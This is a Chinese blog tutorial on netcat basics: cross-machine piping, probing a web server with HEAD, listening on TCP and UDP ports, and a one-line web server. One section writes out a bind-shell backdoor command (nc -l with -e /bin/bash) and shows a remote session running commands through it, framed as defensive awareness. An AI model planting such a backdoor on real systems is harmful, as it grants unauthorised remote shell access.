NetCat(NC)原理和使用

2018-12-29 本文已影响0人十毛tenmao

最近解决问题的时候，都用到了nc，但是之前对这个被称为“瑞士军刀”工具了解不多。这次趁机梳理一下

之前在SSH穿越代理时就用到了nc (ssh&git如何穿越代理)

介绍

shell脚本中经常使用管道来把多个命令串联起来，比如下面：

$ cat /var/log/messages | sort | uniq | less

上面命令显示了过滤、排序、去重后的系统日志信息。不过上面的命令只能在一台机器上运行，但是如果

$ cat /var/log/messages | sort | uniq | laptop

上面的命令并不会执行，因为laptop并不是一个有效的命令。不过在很多场合，我们确实需要执行跨机命令，通过网络通道，确实还是有办法实现的。实现思路如下：

        Web Server
         ^   |
         |   v
         ^   |
         |   v
echo --> netcat --> less

netcat接收本地标准输入，发给Web Server，并把获取到的回复输出到标准输出

基本命令

nc options host-IP-address port

常用场景

连接到远程服务器端口

使用命令nc 192.168.1.101 80，获取服务器信息，也可以使用GET获取整个页面内容

$ nc 192.168.58.101 80
HEAD / HTTP/1.1

HTTP/1.1 400 Bad Request
Server: nginx/1.14.0
Date: Sat, 29 Dec 2018 13:44:49 GMT
Content-Type: text/html
Content-Length: 173
Connection: close

监听端口

执行命令nc -l 8000，服务器会开始在8000端口监听入站连接。
使用netstat查看网络连接，可以看到8000端口已经被监听。

$ netstat -anp | grep 8000
 tcp        0      0 0.0.0.0:8000            0.0.0.0:*               LISTEN      40327/nc
tcp6       0      0 :::8000                 :::*                    LISTEN      40327/nc

上面是监听tcp端口，也可以监听udp端口
nc -l -u 8000

$ netstat -anp | grep 8001
udp        0      0 0.0.0.0:8001            0.0.0.0:*                           40585/nc            
udp6       0      0 :::8001                 :::*                                40585/nc

开启后门

nc 命令还可以用来在系统中创建后门，并且这种技术也确实被黑客大量使用。为了保护我们的系统，我们需要知道它是怎么做的。创建后门的命令为：

$ nc -l 8000 -e /bin/bash

开启之后，其他机器可以连接到端口8000上并执行命令，获取服务器信息

$ nc 192.168.58.101 8000
pwd
/home/tenmao
cd ..
pwd
/home

简易WEB服务器

不借助tomcat/nginx/httpd等WEB容器，仅用nc就可以用快速搭建一个单页面的WEB服务器。
首先建立一个index.html文件：

<!doctype html>
<html>
    <head>
      <meta charset="utf-8">
      <title>Greeting Page</title>
    </head>
    <body>
      <h1>Hello World！</h1>
    </body>
</html>

执行脚本命令：

while true;do { printf '%b\r\n' 'HTTP/1.1 200 OK' '\r\n';cat index.html; }|nc -l 8000;done

用浏览器可以打开连接: http://192.168.58.101:8000或者使用curl命令

$ curl -i http://192.168.58.101:8000
HTTP/1.1 200 OK


<!doctype html>
<html>
    <head>
      <meta charset="utf-8">
      <title>Hello Page</title>
    </head>
    <body>
      <h1>Hello World!</h1>
    </body>
</html>